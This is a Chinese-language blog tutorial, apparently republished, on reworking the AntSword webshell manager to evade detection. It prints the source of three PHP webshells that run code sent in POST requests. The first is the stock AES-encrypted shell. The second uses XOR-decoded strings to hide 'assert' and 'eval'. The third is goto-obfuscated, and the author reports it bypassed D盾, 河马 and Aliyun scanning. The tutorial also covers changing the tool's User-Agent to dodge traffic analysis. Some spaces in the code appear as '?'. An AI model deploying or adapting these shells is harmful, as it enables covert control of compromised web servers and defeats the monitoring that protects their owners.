0x00 前言:
為什么會(huì)有改造蟻劍的想法,之前看到有做冰蝎的流量加密,來看到繞過waf,改造一些弱特征,通過流量轉(zhuǎn)換,跳過密鑰交互。
但是,冰蝎需要反編譯去改造源碼,再進(jìn)行修復(fù)bug,也比較復(fù)雜。而AntSword相對(duì)于冰蝎來說,不限制webshell,即一句話也可以進(jìn)行連接,還可以自定義編碼器和解碼器,可以很容易讓流量做到混淆。
0x01 蟻劍介紹及其改編:
關(guān)于蟻劍的介紹,這里就不多說了,一個(gè)連接webshell的管理器,使用前端nodejs進(jìn)行編碼。AntSword給我最大的好處是可以連接一句話木馬,而且可以自定義編碼器和解碼器。這讓我們就有了很多種webshell的變換。
但是,蟻劍默認(rèn)的編碼器和菜刀都是一樣的,這里用burpsuite來進(jìn)行抓包看下流量。
蟻劍默認(rèn)流量
返回來的是默認(rèn)蟻劍的默認(rèn)流量,所以的話,這里就基本上過不去態(tài)勢感知和waf,所以很容易想到了編碼器和解碼器的選擇,可以進(jìn)行流量的改造來進(jìn)行waf的繞過,先選用最默認(rèn)的base64進(jìn)行測試。
默認(rèn)的base64編碼器
但是看到了使用base64編碼之后是有eval字樣的,這樣的話,肯定被態(tài)勢感知和全流量一體機(jī)來進(jìn)行特征的抓取,肯定會(huì)報(bào)威脅。
去github上找到蟻劍的編碼器和對(duì)應(yīng)的解碼器
github地址:https://github.com/AntSwordProject/AwesomeEncoder/tree/master/php這里下載默認(rèn)的aes-128的默認(rèn)流量。
這里進(jìn)行流量抓取。里面自帶了php的webshell。
<?php
@session_start();
$pwd='ant';
$key=@substr(str_pad(session_id(),16,'a'),0,16);
@eval(openssl_decrypt(base64_decode($_POST[$pwd]),?'AES-128-ECB',?$key,?OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING));
?>
默認(rèn)webshell講解:
這里打開session_start,然后截取Cookie中的PHPSESSION的16位。
然后進(jìn)行aes加密,密碼為pwd
再D盾,河馬和阿里云進(jìn)行掃描:
河馬沒有查出來,可能是比較弱
阿里云直接報(bào)惡意
初步修改后的webshell:
這里先做代碼修改,直接放出我修改之后的webshell代碼。
<?php
@session_start();
error_reporting(E_ALL^E_NOTICE^E_WARNING);
function?decode($key,$data){
$data_new?=?'';
for($i=0;$i<=strlen($data);$i++){
$b=$data[$i]^$key;
$data_new?=?$data_new.urldecode($b);
}
define('ass',$data_new[0].strrev($data_new)[2].strrev($data_new)[2].$data_new[11].strrev($data_new)[4].strrev($data_new)[0]);
define('ev',$data_new[11].strrev($data_new)[8].$data_new[0].strrev($data_new)[6].'($result)');
return?$data_new;
}
function?decrypto($key,$data){
$data?=?base64_decode($data);
$result?=?openssl_decrypt($data,?'AES-128-ECB',?$key,?OPENSSL_RAW_DATA|OPENSSL_ZERO_PADDING);
decode('\\','=:=om>n?o8h9i:j;k*d0e.l/m(');
$ass=ass;
$ass(ev);
}
class?run{
????public?$data;
????public?function?__construct(){
$this->data?=?'#````````#'.$_POST[1]."#`#`#";
$this->data?=?$this->data."123456";
}
}
$key=@substr(str_pad(session_id(),16,'a'),0,16);
$run?=?new?run();
decrypto($key,$run->data);
?>
這里能過去D盾的靜態(tài),但是無法繞過阿里云查殺。
所以這里還需要進(jìn)行代碼混淆。(這也是之后webshell免殺常常用到的)
混淆之后的webshell:
這里提供php在線加密的站
https://enphp.djunny.com/
這里加密之后生成webshell。如下:
<?php
?goto?Zc4oD;?UJih6:?function?decrypto($key,?$data)?{?goto?LBrqg;?P6YrI:?$ass?=?ass;?goto?aR6yN;?svn0O:?$result?=?openssl_decrypt($data,?"\x41\x45\x53\x2d\x31\x32\70\55\105\x43\x42",?$key,?OPENSSL_RAW_DATA?|?OPENSSL_ZERO_PADDING);?goto?ATbMy;?LBrqg:?$data?=?base64_decode($data);?goto?svn0O;?ATbMy:?decode("\x5c",?"\75\72\x3d\157\x6d\x3e\x6e\x3f\x6f\x38\x68\71\151\x3a\x6a\x3b\x6b\x2a\x64\x30\x65\56\x6c\57\155\50");?goto?P6YrI;?aR6yN:?$ass(ev);?goto?k6RVH;?k6RVH:?}?goto?DGZMG;?WvjFi:?ini_set("\144\151\x73\160\x6c\x61\x79\x5f\145\162\x72\x6f\162\x73",?"\117\146\x66");?goto?Wguwk;?DGZMG:?class?run?{?public?$data;?public?function?__construct()?{?$this->data?=?"\43\140\x60\140\140\x60\140\x60\x60\43"?.?$_POST[1]?.?"\x23\140\x23\140\43";?}?}?goto?Berxy;?UUYvT:?$run?=?new?run();?goto?apKNY;?Berxy:?$key?=?@substr(str_pad(session_id(),?16,?"\141"),?0,?16);?goto?UUYvT;?Zc4oD:?@session_start();?goto?WvjFi;?Wguwk:?function?decode($key,?$data)?{?goto?LGJR3;?Ef77S:?$i?=?0;?goto?KvZGg;?rSTXM:?define("\141\x73\x73",?$data_new[0]?.?strrev($data_new)[2]?.?strrev($data_new)[2]?.?$data_new[11]?.?strrev($data_new)[4]?.?strrev($data_new)[0]);?goto?TQ6r4;?Tbglr:?return?$data_new;?goto?FsE2S;?tm2qt:?goto?I39OV;?goto?eF7jG;?AqTZZ:?$data_new?=?$data_new?.?urldecode($b);?goto?FriN_;?TQ6r4:?define("\x65\166",?$data_new[11]?.?strrev($data_new)[8]?.?$data_new[0]?.?strrev($data_new)[6]?.?"\50\x24\x72\145\163\165\154\x74\51");?goto?Tbglr;?FriN_:?bLexq:?goto?gITff;?eF7jG:?RuTl1:?goto?rSTXM;?gITff:?$i++;?goto?tm2qt;?KdSCg:?if?(!($i?<=?strlen($data)))?{?goto?RuTl1;?}?goto?d9N4J;?d9N4J:?$b?=?$data[$i]?^?$key;?goto?AqTZZ;?LGJR3:?$data_new?=?'';?goto?Ef77S;?KvZGg:?I39OV:?goto?KdSCg;?FsE2S:?}?goto?UJih6;?apKNY:?decrypto($key,?$run->data);
經(jīng)過加密之后,可以發(fā)現(xiàn),進(jìn)行了goto的混淆,所以這里就達(dá)到了代碼混淆。因?yàn)橹袄@過了D盾和河馬,這里直接去阿里云查殺。
已經(jīng)成功繞過阿里云查殺。用burpsuite抓下流量特征。
從流量加密來分析的話,已經(jīng)能繞過態(tài)勢感知和全流量分析機(jī)。
0x02 蟻劍UA頭的修改:
在burp的數(shù)據(jù)包中能清楚的看到蟻劍的特征
在目錄/modules/request.js文件中修改UA頭
/modules/update.js文件修改
0x03 總結(jié):
關(guān)于免殺來說,通常是進(jìn)行代碼加密混淆,特征碼替換或者分割傳輸?shù)惹闆r。之前有想寫過shellcode免殺,但是還沒有過windows defender,所以就推遲一段時(shí)間來寫。感謝各位拜讀。文章來源:http://www.zghlxwxcb.cn/news/detail-680299.html
Tip:這個(gè)馬目前已經(jīng)過不了阿里了,已經(jīng)被阿里抓特征了。但是整體思路沒有改變,所以大家可以自己去發(fā)揮思路去整合。文章來源地址http://www.zghlxwxcb.cn/news/detail-680299.html
到了這里,關(guān)于php_webshell免殺--從0改造你的AntSword的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!